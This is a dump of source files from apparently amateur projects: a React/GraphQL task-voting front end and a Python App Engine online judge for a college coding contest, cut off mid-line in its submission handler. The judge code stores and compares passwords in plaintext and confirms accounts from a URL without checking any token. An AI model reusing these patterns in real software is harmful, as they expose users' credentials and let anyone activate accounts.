export const schema = buildSchema(` // type Query { // currentTime: String! // } // `); // export const rootValue = { // currentTime: () => { // const isoString = new Date().toISOString(); // return isoString.slice(11, 19); // }, // }; <file_sep>/web/src/components/Approach.js import { gql, useMutation } from '@apollo/client'; import React, { useState } from 'react'; import { useStore } from '../store'; import Errors from './Errors'; /** GIA NOTES * Define GraphQL operations here... */ export const APPROACH_FRAGMENT = gql` fragment ApproachFragment on Approach { content voteCount author { username } detailList { content category } } `; const APPROACH_VOTE = gql` mutation ApproachVote($approachId: ID!, $up: Boolean!) { approachVote(approachId: $approachId, input: { up: $up }) { errors { message } updatedApproach: approach { id voteCount } } } `; export default function Approach({ approach, isHighlighted }) { const { mutate } = useStore(); const [uiErrors, setUIErrors] = useState(); const [voteCount, setVoteCount] = useState(approach.voteCount); const [submitVote, { error, loading }] = useMutation(APPROACH_VOTE); if (error) return <div className='error'>{error.message}</div>; const handleVote = (direction) => async (event) => { event.preventDefault(); // const { data, errors: rootErrors } = await mutate(APPROACH_VOTE, { const { data, errors: rootErrors } = await submitVote({ variables: { approachId: approach.id, up: direction === 'UP', }, }); if (rootErrors) return setUIErrors(rootErrors); console.log('data returned after submit vote function', { data }); // const { errors, updatedApproach } = data.approachVote; // if (errors.length > 0) return setUIErrors(errors); // setVoteCount(updatedApproach.voteCount); }; const renderVoteButton = (direction) => ( <button disabled={loading} className='border-none' onClick={handleVote(direction)} > <svg aria-hidden='true' width='24' height='24' viewBox='0 0 36 36' fill='#999' > {direction === 'UP' ? ( <path d='M 2 26 h32 L18 10 2 26 z'></path> ) : ( <path d='M 2 10 h32 L18 26 2 10 z'></path> )} </svg> </button> ); return ( <div className={`box highlighted-${isHighlighted}`}> <div className='approach'> <div className='vote'> {renderVoteButton('UP')} {/* {voteCount} */} {approach.voteCount} {renderVoteButton('DOWN')} </div> <div className='main'> <pre className='code'>{approach.content}</pre> <div className='author'>{approach.author.username}</div> </div> </div> <Errors errors={uiErrors} /> {approach.detailList.map((detail, index) => ( <div key={index} className='approach-detail'> <div className='header'>{detail.category}</div> <div>{detail.content}</div> </div> ))} </div> ); } <file_sep>/api/src/schema/types/input-approach-vote.js // api\src\schema\types\input-approach-vote.js import { GraphQLBoolean, GraphQLInputObjectType, GraphQLNonNull, } from 'graphql'; const ApproachVoteInputType = new GraphQLInputObjectType({ name: 'ApproachVoteInput', description: 'true for up-vote, false for down-vote', fields: () => ({ up: { type: new GraphQLNonNull(GraphQLBoolean) }, }), }); export default ApproachVoteInputType; <file_sep>/api/src/schema/types/approach-detail-category.js import { GraphQLEnumType } from 'graphql'; // api\src\schema\types\approach-detail-category.js const ApproachDetailCategory = new GraphQLEnumType({ name: 'ApproachDetailsCategory', values: { NOTE: { value: 'notes', }, EXPLANATION: { value: 'explanations', }, WARNING: { value: 'warnings', }, }, }); export default ApproachDetailCategory; <file_sep>/web/src/components/MyTasks.js import { gql } from '@apollo/client'; import React, { useState, useEffect } from 'react'; import { useStore } from '../store'; import TaskSummary, { TASK_SUMMARY_FRAGMENT } from './TaskSummary'; /** GIA NOTES * Define GraphQL operations here... */ const MY_TASK_LIST = gql` query myTaskList { me { taskList { id ...TaskSummary } } } ${TASK_SUMMARY_FRAGMENT} `; export default function MyTasks() { const { query } = useStore(); const [myTaskList, setMyTaskList] = useState(null); useEffect(() => { query(MY_TASK_LIST).then(({ data }) => { console.log({ data }); setMyTaskList(data.me.taskList); }); /** GIA NOTES * * 1) Invoke the query to get current user list of Tasks * (You can't use `await` here but `promise.then` is okay) * * 2) Use the line below on the returned data: setMyTaskList(API_RESP_FOR_userTaskList); */ }, [query]); if (!myTaskList) { return <div className='loading'>Loading...</div>; } return ( <div> <div> <h1>My Tasks</h1> {myTaskList.length === 0 && ( <div className='box box-primary'> You have not created any Task entries yet </div> )} {myTaskList.map((task) => ( <TaskSummary key={task.id} task={task} link={true} /> ))} </div> </div> ); } <file_sep>/web/src/components/Login.js import { gql, useMutation } from '@apollo/client'; import React, { useState } from 'react'; import { useStore } from '../store'; import Errors from './Errors'; /** GIA NOTES * Define GraphQL operations here... */ // we define input as being AuhtInput type here // how do we know this on frontend? by using GraphiQL const USER_LOGIN = gql` mutation UserLogin($input: AuthInput!) { userLogin(input: $input) { errors { message } user { id username } authToken } } `; export default function Login() { const { mutate, setLocalAppState } = useStore(); const [loginUser, { error, loading }] = useMutation(USER_LOGIN, { errorPolicy: 'all', }); console.log(error.networkError); const [uiErrors, setUIErrors] = useState(); // this error is some error that might happen when start mutation if (error) return <div className='error'>{error.message}</div>; const handleLogin = async (event) => { event.preventDefault(); const input = event.target.elements; // const { data } = await mutate(USER_LOGIN, { const { data, errors: rootErrors } = await loginUser(USER_LOGIN, { variables: { input: { username: input.username.value, password: input.password.value, }, }, }); // this error might happen on the root - some sql issue if (rootErrors) { return setUIErrors(rootErrors); } // and this error might be returned as part of the response - bad password or something const { errors, user, authToken } = data.userLogin; if (errors.length > 0) return setUIErrors(errors); user.authToken = authToken; window.localStorage.setItem('azdev:user', JSON.stringify(user)); // this sets the user globally // it also redirects home setLocalAppState({ user, component: { name: 'Home' } }); /** GIA NOTES * * 1) Invoke the mutation to authenticate a user: * - input.username.value has what a user types in the username input * - input.password.value has what a user types in the password input * 2) Use the code below after that. It needs these variables: * - `errors` is an array of objects of type UserError * - `user` is a user object response from the API * - `authToken` is a string value response from the API if (errors.length > 0) { return setUIErrors(errors); } user.authToken = authToken; window.localStorage.setItem('azdev:user', JSON.stringify(user)); setLocalAppState({ user, component: { name: 'Home' } }); */ }; return ( <div className='sm-container'> <form method='POST' onSubmit={handleLogin}> <div className='form-entry'> <label> USERNAME <input type='text' name='username' required /> </label> </div> <div className='form-entry'> <label> PASSWORD <input type='<PASSWORD>' name='<PASSWORD>' required /> </label> </div> <Errors errors={uiErrors} /> <div className='spaced'> <button className='btn btn-primary' type='submit' disabled={loading}> Login {loading && <i className='spinner'>...</i>} </button> </div> </form> </div> ); } <file_sep>/api/src/schema/types/input-approach.js // api\src\schema\types\input-approach.js import { GraphQLInputObjectType, GraphQLList, GraphQLNonNull, GraphQLString, } from 'graphql'; import ApproachDetailInput from './input-approach-detail'; const ApproachInput = new GraphQLInputObjectType({ name: 'ApproachInput', fields: () => ({ content: { type: new GraphQLNonNull(GraphQLString), }, detailList: { type: new GraphQLNonNull( new GraphQLList(new GraphQLNonNull(ApproachDetailInput)) ), }, }), }); export default ApproachInput; <file_sep>/api/src/db/mongo-api.js // api\src\db\mongo-api.js import { async } from 'q'; import mongoClient from './mongo-client'; const mongoApiWrapper = async () => { const { mdb } = await mongoClient(); const mdbFindDocumentsByField = ({ collectionName, fieldName, fieldValues, }) => mdb .collection(collectionName) // here, we only get those documents whose fields are in the values that we provide .find({ [fieldName]: { $in: fieldValues } }) // we use an array here, because I guess, data loader requires data to be an array? .toArray(); // now we return methods - batch loading functions return { mutators: { approachDetailCreate: async (approachId, detailsInput) => { const details = {}; console.log('approachIdsssssssss'); detailsInput.forEach(({ content, category }) => { // no ifs here details[category] = details[category] || []; details[category].push(content); }); return mdb.collection('approachDetails').insertOne({ pgId: approachId, ...details, }); }, }, detailList: async (approachIds) => { const mongoDocuments = await mdbFindDocumentsByField({ collectionName: 'approachDetails', fieldName: 'pgId', fieldValues: approachIds, }); return approachIds.map((approachId) => { // this part will make sure that the order is the same as the order in which ids came in - needed for data loader const approachDoc = mongoDocuments.find( (doc) => approachId === doc.pgId ); if (!approachDoc) { return []; } // note how it is fine to destructure after check if value exists const { explanations, notes, warnings } = approachDoc; const approachDetails = []; if (explanations) { approachDetails.push( // and now we create another array of objects // and then we destrucvture it // nice techique ...explanations.map((explanationText) => ({ content: explanationText, category: 'explanations', })) ); } if (notes) { approachDetails.push( ...notes.map((noteText) => ({ content: noteText, category: 'notes', })) ); } if (warnings) { approachDetails.push( ...warnings.map((warningText) => ({ content: warningText, category: 'warnings', })) ); } return approachDetails; // something needs to be returned from here }); }, }; }; export default mongoApiWrapper; <file_sep>/web/src/store.js import React, { useState } from 'react'; import fetch from 'cross-fetch'; import * as config from './config'; import { ApolloClient, gql, HttpLink, InMemoryCache, useApolloClient, useQuery, } from '@apollo/client'; import { setContext } from '@apollo/client/link/context'; export const LOCAL_APP_STATE = gql` query localAppState { component @client { name props } user @client { username authToken } } `; const httpLink = new HttpLink({ uri: config.GRAPHQL_SERVER_URL }); const cache = new InMemoryCache(); // const client = new ApolloClient({ link: httpLink, cache }); const client = new ApolloClient({ cache }); // const { user } = cache.readQuery({ query: LOCAL_APP_STATE }); // cache.writeQuery({ // query: LOCAL_APP_STATE, // data: { ...authToken.currentState, ...newState }, // }); const initialLocalAppState = { component: { name: 'Home', props: {} }, user: JSON.parse(window.localStorage.getItem('azdev:user')), }; // The useStoreObject is a custom hook function designed // to be used with React's context feature // export const useStoreObject = () => { export const useStore = () => { const client = useApolloClient(); // we pass it new state object const setLocalAppState = (newState) => { if (newState.component) newState.component.props = newState.component.props ?? {}; // just store current state to be used later after reset, for intance const currentState = client.readQuery({ query: LOCAL_APP_STATE, }); // just function that will use the current state to set new state const updateState = () => { client.writeQuery({ query: LOCAL_APP_STATE, data: { ...currentState, ...newState }, }); }; if (newState.user || newState.user === null) { // this is some kinf of event listener client.onResetStore(updateState); client.resetStore(); } else { updateState(); } }; // This state object is used to manage // all local app state elements (like user/component) // const [state, setState] = useState(() => initialLocalAppState); // const authLink = setContext((_, { headers }) => { // return { // headers: { // ...headers, // authorization: state.user ? `Bearer ${state.user.authToken}` : '', // }, // }; // }); // client.setLink(authLink.concat(httpLink)); // const query = async (query, { variables } = {}) => { // const resp = await client.query({ query, variables }); // return resp; // }; // const mutate = async (mutation, { variables } = {}) => { // const resp = await client.mutate({ mutation, variables }); // return resp; // }; // This function can be used with 1 or more // state elements. For example: // const user = useLocalAppState('user'); // const [component, user] = useLocalAppState('component', 'user'); // this ... just turns whatever we pass into an array - just adds it in - it will spread it, but place it into an array // this is like a right side of an operaiton const useLocalAppState = (...stateMapper) => { const { data } = useQuery(LOCAL_APP_STATE); if (stateMapper.length === 1) { return data[stateMapper[0]]; } return stateMapper.map((element) => data[element]); // if (stateMapper.length === 1) { // return state[stateMapper[0]]; // } // return stateMapper.map((element) => state[element]); }; // This function shallow-merges a newState object // with the current local app state object // const setLocalAppState = (newState) => { // if (newState.component) { // newState.component.props = newState.component.props ?? {}; // } // setState((currentState) => { // return { ...currentState, ...newState }; // }); // // this would basically remove all cached stuff whenever we change page? // if (newState.user || newState.user === null) { // client.resetStore(); // } // }; // This is a component that can be used in place of // HTML anchor elements to navigate between pages // in the single-page app. The `to` prop is expected to be // a React component (like `Home` or `TaskPage`) const AppLink = ({ children, to, ...props }) => { const handleClick = (event) => { event.preventDefault(); setLocalAppState({ component: { name: to, props }, }); }; return ( <a href={to} onClick={handleClick}> {children} </a> ); }; // This function should make an ajax call to GraphQL server // and return the GraphQL response object const request = async (requestText, { variables } = {}) => { const headers = state.user ? { Authorization: 'Bearer ' + state.user.authToken } : {}; const gsResp = await fetch(config.GRAPHQL_SERVER_URL, { method: 'post', headers: { ...headers, 'Content-Type': 'application/json' }, // body is the most imporant part // needs to be stringified body: JSON.stringify({ // note the variables coming in here, if there is any query: requestText, variables, }), }).then((response) => response.json()); return gsResp; /** GIA NOTES * * Make an Ajax call here to config.GRAPHQL_SERVER_URL * Pass both requestText and variables as body params * */ }; // In React components, the following is the object you get // when you make a useStore() call return { useLocalAppState, setLocalAppState, AppLink, // request, // query, // mutate, client, }; }; // Define React's context object and the useStore // custom hook function that'll use it const AZContext = React.createContext(); export const Provider = AZContext.Provider; // export const useStore = () => React.useContext(AZContext);
9f6ae5dbec1e8f27e50e6b6ace36ffaedf14aa7a
[ "JavaScript" ]
27
JavaScript
ikaem/az.dev
a4025c669b08827d08b323d86685b9cea1b62c02
1a1b3cfa8ce6a1ebeb969fc419d7ead5cc3ca263
refs/heads/master
<file_sep># Online-Judge [![Join the chat at https://gitter.im/waseem18/Online-Judge](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/waseem18/Online-Judge?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) An online judge to host programming contests. Coded it in 3 days to host a programming contest in my college. Note : Need to make changes to the code. <file_sep>import webapp2 import jinja2 import requests import os import sys import time import logging import urllib2 import json import re from operator import itemgetter from datetime import datetime from google.appengine.ext import db from webapp2_extras import sessions from google.appengine.api import mail #UTC time of contest to be started in seconds time_exam_started = 4*3600+1800 contest_duration = 2 #in hours template_dir = os.path.join(os.path.dirname(__file__), 'templates') jinja_env = jinja2.Environment(loader = jinja2.FileSystemLoader(template_dir), autoescape = True) def render_str(template, **params): t = jinja_env.get_template(template) return t.render(params) #def get_mesage_html(): # jinja2 = webapp_extras_jinja2.get_jinja2() # return jinja2.render_template('/templates/go-welcome.html') class BaseHandler(webapp2.RequestHandler): def dispatch(self): # Get a session store for this request. self.session_store = sessions.get_store(request=self.request) try: # Dispatch the request. webapp2.RequestHandler.dispatch(self) finally: # Save all sessions. self.session_store.save_sessions(self.response) @webapp2.cached_property def session(self): # Returns a session using the default cookie key. return self.session_store.get_session() def render(self, template, **kw): self.response.out.write(render_str(template, **kw)) USER_RE = re.compile(r"^[a-zA-Z0-9_-]{3,20}$") def valid_username(username): return username and USER_RE.match(username) PASS_RE = re.compile(r"^.{3,20}$") def valid_password(password): return password and PASS_RE.match(password) EMAIL_RE = re.compile(r'^[\S]+@[\S]+\.[\S]+$') def valid_email(email): return not email or EMAIL_RE.match(email) class UserInfo(db.Model): fullname = db.StringProperty() username = db.StringProperty() email = db.StringProperty() password = db.StringProperty() A = db.StringProperty() B = db.StringProperty() C = db.StringProperty() D = db.StringProperty() E = db.StringProperty() F = db.StringProperty() ADD = db.StringProperty() EON = db.StringProperty() STR = db.StringProperty() DBY = db.StringProperty() RUPQ = db.StringProperty() ns_user = db.IntegerProperty() ac_time = db.IntegerProperty() tagline = db.StringProperty() aboutme = db.StringProperty() portfolio = db.StringProperty() is_confirmed = db.BooleanProperty() dp_link = db.StringProperty() cp_link = db.StringProperty() class PaidEmails(db.Model): emailid = db.StringProperty() class About(BaseHandler): def get(self): self.render('about.html') class Main(BaseHandler): def get(self): username_s = self.session.get('username') if username_s: self.redirect('/user/'+str(username_s)) return self.render('index-front.html') class Signup(BaseHandler): def get(self): username_s = self.session.get('username') username_session = str(username_s) if username_s: self.redirect('https://dubhacking.appspot.com/user/'+username_session) self.render('index.html') def post(self): have_error = False fullname = self.request.get('fullname') username = self.request.get('username') email = self.request.get('email') password = self.request.get('password') cpassword = self.request.get('cpassword') params = dict(username = username,email = email,fullname = fullname,password = <PASSWORD>) q = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=str(username)).fetch(limit=2) qe = db.GqlQuery("SELECT * FROM UserInfo WHERE email= :e",e=str(email)).fetch(limit=2) if len(qe)>0: params['email_already_taken'] = "The email id has already been registered!" have_error=True if len(q)>0: params['username_already_present'] = "This username has already been taken. Choose another!" have_error=True sde = db.GqlQuery("SELECT * FROM PaidEmails WHERE emailid= :e",e=str(email)).fetch(limit=2) if len(sde)==0: params['not_paid'] = "I guess you didn't register yourself for the contest." have_error=True if not valid_username(username): params['error_username'] = "That's not a valid username." have_error = True if not valid_password(password): params['error_password'] = "<PASSWORD> a valid <PASSWORD>." have_error = True elif password != cpassword: params['error_verify'] = "Your passwords didn't match." have_error = True if not valid_email(email): params['error_email'] = "That's not a valid email." have_error = True confirming_link = 'https://dubhacking.appspot.com/confirming/'+str(username)+'/'+'CONFIRM_BIG_INTEGER' cparam = dict(confirming_link=confirming_link) if have_error: self.render('index.html', **params) else: user_instance = UserInfo(key_name=username,fullname=fullname,username=username,cp_link='https://img1.etsystatic.com/031/1/7380103/il_340x270.647655413_bh43.jpg',dp_link='http://oi61.tinypic.com/2cfw86c.jpg',email=email,password=password,is_confirmed=False,A='NA',B='NA',C='NA',D='NA',E='NA',F='NA',ADD='NA',STR='NA',EON='NA',DBY='NA',RUPQ='NA',ns_user=0,ac_time=0,tagline='The Algorithmist',aboutme="I'm an undergraduate Computer Science student who loves to code. I like solving algorithmic challenges and making apps that impacts the society",portfolio='') user_instance.put() message = mail.EmailMessage(sender="<NAME> <<EMAIL>>", subject="Your account has been approved!") #message.to = "<NAME> <<EMAIL>>" message.to = str(fullname)+" "+'<'+str(email)+'>' message.body = """ Dear User, Thank you for creating an account on Dubhacking! """ message.html = render_str('emailtemplate.html',**cparam) message.send() self.redirect('/confirm_email') class Confirm_email(BaseHandler): def get(self): username_s = self.session.get('username') if username_s: self.redirect('/user/'+str(username_s)) else: #self.response.out.write("Thank you for signing up! Now all you need to do is to confirm your email. A confirmation email with an Activation link has been sent to you!!") self.render('confirm_email.html') class Confirming(BaseHandler): def get(self): current_url = self.request.url p = current_url.split('/') un = p[4] qq = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=str(un)).fetch(limit=2) if qq>0: q = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=str(un)).get() if q.is_confirmed == False: setattr(q,'is_confirmed',True) q.put() self.redirect('/login') else: self.redirect('/user/'+str(un)) else: self.redirect('/signup') class Login(BaseHandler): def get(self): is_usersession_present = self.session.get('username') if is_usersession_present: self.redirect('/user/'+str(is_usersession_present)) return username_s = self.session.get('username') username_session = str(username_s) if username_s: self.redirect('https://dubhacking.appspot.com/user/'+username_session) #template_values={} #template = jinja_env.get_template('login.html') #self.response.out.write(template.render(template_values)) self.render('login.html') def post(self): is_usersession_present = self.session.get('username') if is_usersession_present: self.redirect('/user/'+str(is_usersession_present)) return have_error=False params = {} login_username = self.request.get('login_username') login_password = self.request.get('login_password') if str(login_username)=="" or str(login_password)=="": params['login_empty_error'] = "Enter credentials" have_error = True if login_username and login_password: q = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=str(login_username)).fetch(limit=2) if len(q)==0: params['username_not_present'] = "This username is not available on our database." have_error = True else: userdata = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=str(login_username)).get() if str(login_password)==str(userdata.password) and userdata.is_confirmed==True: self.session['username'] = str(login_username) self.redirect('/user/'+str(login_username)) elif userdata.is_confirmed==False: params['not_confirmed'] = "Confirm your email id before you login!" have_error=True else: params['error_verify'] = "Incorrect password" have_error = True if have_error: self.render('login.html',**params) def vfg(v): if v=='AC': return 99 elif v=='WA': return 33 elif v=='TLE': return 66 else: return 0 class Userprofile(BaseHandler): def get(self): username_s = self.session.get('username') if not username_s: self.redirect('/') return username_session = str(username_s) current_url = self.request.url un = current_url.split('/')[4] username = str(un) param = {} q = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username).fetch(limit=2) if len(q)==0: self.response.out.write("The person with the username "+ username +" is not available in our database. If he/she is taking part, contact Wasim soon!") return #if username_session != username: # self.redirect('/user/'+username_session) # return #May be a chance of an error! fd = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() fn = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username).get() fullname_nav = str(fd.fullname) fullname = str(fn.fullname) tagline = str(fn.tagline) aboutme = str(fn.aboutme) dp_link=str(fn.dp_link) cp_link = str(fn.cp_link) nsu = int(fn.ns_user) mu = db.GqlQuery("SELECT * FROM UserInfo WHERE ns_user= :n",n=nsu).fetch(limit=5) vA = vfg(str(fn.A)) vB = vfg(str(fn.B)) vC = vfg(str(fn.C)) vD = vfg(str(fn.D)) vE = vfg(str(fn.E)) vF = vfg(str(fn.F)) vADD = vfg(str(fn.ADD)) vSTR = vfg(str(fn.STR)) vEON = vfg(str(fn.EON)) vDBY = vfg(str(fn.DBY)) vRUPQ = vfg(str(fn.RUPQ)) if len(mu)==1: no_one_matches = "None of them match with your skills. You are unique!" self.render('profilepage.html',username=username,no_one_matches=no_one_matches,fullname_nav=fullname_nav,cp_link=cp_link,dp_link=dp_link,username_session=username_session,fullname=fullname,tagline=tagline,aboutme=aboutme,vA=vA,vB=vB,vC=vC,vD=vD,vE=vE,vF=vF,vADD=vADD,vSTR=vSTR,vEON=vEON,vDBY=vDBY,vRUPQ=vRUPQ) else: self.render('profilepage.html',mu=mu,username=username,username_session=username_session,cp_link=cp_link,dp_link=dp_link,fullname_nav=fullname_nav,fullname=fullname,tagline=tagline,aboutme=aboutme,vA=vA,vB=vB,vC=vC,vD=vD,vE=vE,vF=vF,vADD=vADD,vSTR=vSTR,vEON=vEON,vDBY=vDBY,vRUPQ=vRUPQ) class Scoreboard(BaseHandler): def get(self): privacy='user' username_s = self.session.get('username') username_session = str(username_s) if not username_s: privacy='public' else: fn = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() fullname = fn.fullname sb = [] c = db.GqlQuery("SELECT * FROM UserInfo") for entity in c: sb.append({'username':str(entity.username),'nops':int(entity.ns_user),'act':int(entity.ac_time)}) newlist = sorted(sb, key=lambda k: (-k['nops'], k['act'])) for i in newlist: un = str(i['username']) ud = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=un).get() i['A']=ud.A i['B']=ud.B i['C']=ud.C i['D']=ud.D i['E']=ud.E i['F']=ud.F i['ADD'] = ud.ADD i['STR'] = ud.STR i['EON'] = ud.EON i['DBY'] = ud.DBY i['RUPQ'] = ud.RUPQ if not username_s: self.render('scoreboard_public.html',newlist=newlist,privacy=privacy) else: self.render('scoreboard.html',newlist=newlist,privacy=privacy,username_session=username_session,fullname=fullname) del sb[:] class ProblemPage(BaseHandler): def get(self): username_s = self.session.get('username') if not username_s: self.redirect('/') return username_session = str(username_s) cts = datetime.utcnow().hour*3600+datetime.utcnow().minute*60+datetime.utcnow().second qq = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() if(cts<time_exam_started): time_left = time_exam_started-cts self.render('contest_to_be_started.html',fullname=str(qq.fullname),time_left=time_left,username_session=username_session) elif cts>time_exam_started+contest_duration*3600: self.render('contest_ended.html',fullname=str(qq.fullname),username_session=username_session) else: contest_ends_in = time_exam_started + contest_duration * 3600 - cts self.render('problempage.html',username_session=username_session,contest_ends_in=contest_ends_in,fullname=qq.fullname,vA=qq.A,vB=qq.B,vC=qq.C,vD=qq.D,vE=qq.E,vF=qq.F,vADD=qq.ADD,vEON=qq.EON,vSTR=qq.STR,vDBY=qq.DBY,vRUPQ=qq.RUPQ) class Problem(BaseHandler): def get(self): username_s = self.session.get('username') if not username_s: self.redirect('/') return username_session = str(username_s) fname = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() fullname = str(fname.fullname) current_url = self.request.url p = current_url.split('/') prob = p[4] if prob=='A': #template_values={'username_session':username_session} #template = jinja_env.get_template('problemA.html') self.response.out.write("Questions will be posted on the day of the contest! Wait!!") #self.render('problemA.html',username_session=username_session) elif prob=='B': #template_values={'username_session':username_session} #template = jinja_env.get_template('problemB.html') self.response.out.write("Questions will be posted on the day of the contest! Wait!!") #self.response.out.write(template.render(template_values)) #self.render('problemB.html',username_session=username_session) elif prob=='C': #template_values={'username_session':username_session} #template = jinja_env.get_template('problemC.html') #self.response.out.write(template.render(template_values)) self.response.out.write("Questions will be posted on the day of the contest! Wait!!") #self.render('problemC.html',username_session=username_session) elif prob=='D': #template_values={'username_session':username_session} #template = jinja_env.get_template('problemD.html') #self.response.out.write(template.render(template_values)) self.response.out.write("Questions will be posted on the day of the contest! Wait!!") #self.render('problemD.html',username_session=username_session) elif prob=='E': #template_values={'username_session':username_session} #template = jinja_env.get_template('problemE.html') #self.response.out.write(template.render(template_values)) self.response.out.write("Questions will be posted on the day of the contest! Wait!!") #self.render('problemE.html',username_session=username_session) elif prob=='F': #template_values={'username_session':username_session} #template = jinja_env.get_template('problemF.html') #self.response.out.write(template.render(template_values)) self.response.out.write("Questions will be posted on the day of the contest! Wait!!") #self.render('problemF.html',username_session=username_session) elif prob=='ADD': self.render('ADD.html',username_session=username_session,fullname=fullname) elif prob=='STR': self.render('STR.html',username_session=username_session,fullname=fullname) elif prob=='EON': self.render('EON.html',username_session=username_session,fullname=fullname) elif prob=='DBY': self.render('DBY.html',username_session=username_session,fullname=fullname) elif prob=='RUPQ': self.render('RUPQ.html',username_session=username_session,fullname=fullname) else: self.response.out.write("There is no such problem code currently on dubhacking!") #class Submit(BaseHandler): # def get(self): # username_s = self.session.get('username') # username_session = str(username_s) # #template_values={'username_session':username_session} # #template = jinja_env.get_template('submit.html') # #self.response.out.write(template.render(template_values)) # self.render('submit.html',username_session=username_session) class Idea(BaseHandler): def get(self): username_s = self.session.get('username') username_session = str(username_s) #template_values={'username_session':username_session} #template = jinja_env.get_template('ideabox.html') #self.response.out.write(template.render(template_values)) self.render('ideabox.html',username_session=username_session) #class PostIdea(BaseHandler): # def get(self): # self.response.out.write("You are not authorised to access this URL. Only Dubhacking can access it. :)") # # def post(self): # username_s = self.session.get('username') # username_session = str(username_s) # idea = str(self.request.get('submitted_idea')) #Send the idea to the database class Settings(BaseHandler): def get(self): username_s = self.session.get('username') if not username_s: self.redirect('/') return username_session = str(username_s) fn = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() fullname = str(fn.fullname) dp_link = str(fn.dp_link) cp_link = str(fn.cp_link) #template_values={'username_session':username_session,'fullname':fullname} #template = jinja_env.get_template('settings.html') #self.response.out.write(template.render(template_values)) self.render('settings.html',username_session=username_session,fullname=fullname,tagline=str(fn.tagline),cp_link=cp_link,aboutme=str(fn.aboutme),portfolio=str(fn.portfolio),dp_link=str(dp_link)) def post(self): have_error = False username_s = self.session.get('username') username_session = str(username_s) #p = dict(username_session=username_session) fn = self.request.get('fullname') fullname = str(fn) pwd = self.request.get('password') password = str(pwd) tl = self.request.get('tagline') tagline = str(tl) ame = self.request.get('aboutme') aboutme = str(ame) pf = self.request.get('portfolio') portfolio = str(pf) dp_li = self.request.get('dp_link') dp_link = str(dp_li) cp_li = self.request.get('cp_link') cp_link = str(cp_li) params = dict(username_session=username_session,fullname=fullname,portfolio=portfolio,tagline=tagline,aboutme=aboutme,cp_link=cp_link,dp_link=dp_link) if portfolio!="" and portfolio[0:4]!='http': have_error = True params['tagline_error'] = "Professional profile is known as portfolio. Leave it empty if you don't have one!" update = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() if password== str(update.password): setattr(update,'fullname',fullname) setattr(update,'portfolio',portfolio) setattr(update,'tagline',tagline) setattr(update,'aboutme',aboutme) setattr(update,'dp_link',dp_link) setattr(update,'cp_link',cp_link) update.put() self.redirect('/user/'+username_session) else: have_error = True params['error_verify'] = 'Incorrect Password' #self.render('settings.html',**params) if have_error: self.render('settings.html',**params) #class Info(BaseHandler): # def post(self): # username_s = self.session.get('username') # username_session = str(username_s) # fn = self.request.get('fullname') # fullname = str(fn) # pwd = self.request.get('password') # password = str(pwd) # pf = self.request.get('portfolio') # portfolio = str(pf) # tl = self.request.get('tagline') # tagline = str(tl) # ame = self.request.get('aboutme') # aboutme = str(ame) # update = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() # if password== str(update.password): # setattr(update,'fullname',fullname) # setattr(update,'portfolio',portfolio) # setattr(update,'tagline',tagline) # setattr(update,'aboutme',aboutme) # update.put() # self.redirect('/user/'+username_session) # else: # self.redirect('/settings') class EditArea(BaseHandler): def get(self): self.render('edit_submit.html') class Logout(BaseHandler): def get(self): if self.session.get('username'): del self.session['username'] self.redirect('/') class Submit(BaseHandler): def get(self): username_s = self.session.get('username') if not username_s: self.redirect('/') return username_session = str(username_s) fn = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() fullname = str(fn.fullname) cts = datetime.utcnow().hour*3600+datetime.utcnow().minute*60+datetime.utcnow().second if(cts<time_exam_started): time_left=time_exam_started-cts self.render('contest_to_be_started.html',time_left=time_left,fullname=fullname,username_session=username_session) elif(cts>time_exam_started+contest_duration*3600): self.render('contest_ended.html',fullname=fullname,username_session=username_session) else: self.render('submit.html',username_session=username_session,fullname=fullname) #def get(self): #self.response.out.write("Only Dubhacking server is authorised to access this page. If you reloaded the page to check compilation errors, go BACK then submit your code again.") def post(self): have_error = False api_key = 'KEY' #Taken down for security. run_url = 'RUN_URL' #Taken down for security. username_s = self.session.get('username') username_session = str(username_s) submitted_code = self.request.get('submitted_code') submitted_lang = self.request.get('submitted_lang') submitted_prob = self.request.get('submitted_prob') submitted_code_str = str(submitted_code) submitted_prob_str = str(submitted_prob) submitted_lang_str = str(submitted_lang) fn = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() fullname = str(fn.fullname) params = dict(username_session=username_session,fullname=fullname) if submitted_code_str=="": params['empty_submit_error'] = "Laaal! :D Where is the code "+fullname+" ??" have_error = True if have_error: self.render('submit.html',**params) return if(submitted_lang_str == 'C++'): lang = 2 if submitted_code_str == '': self.redirect('/submit') return if submitted_prob_str == 'ADD': #Change 1 data = {'api_key':api_key, 'source' :submitted_code_str, 'lang' : lang, 'testcases' : json.dumps(["1 2", "3 5", "2 5"]) } try: r = requests.post(run_url,data=data) except requests.ConnectionError: self.response.out.write("Currently server is on fire with huge submission rate. No problem! Submit again :D") return except: self.response.out.write("Currently server is on fire with huge submission rate. No problem! Submit it again :)") return result = r.json() if result['result']['compilemessage'] == "": stdout0 = result['result']['stdout'][0] stdout1 = result['result']['stdout'][1] stdout2 = result['result']['stdout'][2] time0 = float(result['result']['time'][0]) time1 = float(result['result']['time'][1]) time2 = float(result['result']['time'][2]) update_verdict = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() pv = update_verdict.ADD #Change nsu = update_verdict.ns_user pact = update_verdict.ac_time if stdout0 == '3\n' and stdout1=='8\n' and stdout2=='7\n' and time0<=0.05 and time1<=0.05 